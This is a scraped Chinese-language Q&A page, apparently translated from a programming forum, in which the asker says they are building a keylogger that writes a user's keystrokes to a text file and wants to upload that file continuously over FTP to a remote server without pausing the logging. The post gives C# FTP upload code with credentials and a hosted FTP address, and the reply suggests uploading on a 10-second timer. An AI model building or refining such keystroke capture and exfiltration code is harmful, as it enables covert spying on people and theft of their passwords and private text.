控制台应用程序 - FTP 上传停止执行

Posted

技术标签:

【中文标题】控制台应用程序 - FTP 上传停止执行【英文标题】:Console app - FTP upload stops execution 【发布时间】:2015-06-06 10:18:40 【问题描述】:

我目前正在开发一个键盘记录器,它将用户输入保存到文本文档中。每次用户按下按钮时,文档都会更新。

我希望 FTP 不断更新服务器上的文本文件。问题是每次上传文本文档时,它都会停止,直到上传完成,然后继续记录。

我想知道如何防止这种情况发生。 我在某处读到有一种方法可以通过使用 ASYNC 函数或类似的东西来做到这一点,但我不知道它在哪里。

我将不胜感激任何帮助。 这是我创建的 FTP 代码。

private static void ftp(String name)

    FtpWebRequest request = (FtpWebRequest)FtpWebRequest.Create(
        "ftp://ftp.drivehq.com/test.txt");

    request.Method = WebRequestMethods.Ftp.UploadFile;
    request.Credentials = new NetworkCredential(username, pass);
    request.UsePassive = true;
    request.UseBinary = true;
    request.KeepAlive = false;
    FileStream stream = File.OpenRead(name);
    byte[] data = new byte[stream.Length];

    stream.Read(data, 0, data.Length);
    stream.Close();

    Stream reqStream = request.GetRequestStream();
    reqStream.Write(data, 0, data.Length);
    reqStream.Close();

【问题讨论】:

可能某种 ob background threading 会有所帮助。 【参考方案1】:

我设法找到了解决方法。我只是使用计时器,每 10 秒上传一次。问题不在于 FTP 中断执行,而是 FTP 通过不断上传来淹没程序。

正如我所说。计时器修复了它。

【讨论】:

以上是关于控制台应用程序 - FTP 上传停止执行的主要内容,如果未能解决你的问题,请参考以下文章

FTP上传和下载文件的应用

Java实现FTP文件与文件夹的上传和下载

windows7搭建ftp服务器与Java上传下载ftp服务器文件

ftp

上传数据后停止计算,直到再次点击运行

FTP在项目文档管理中的应用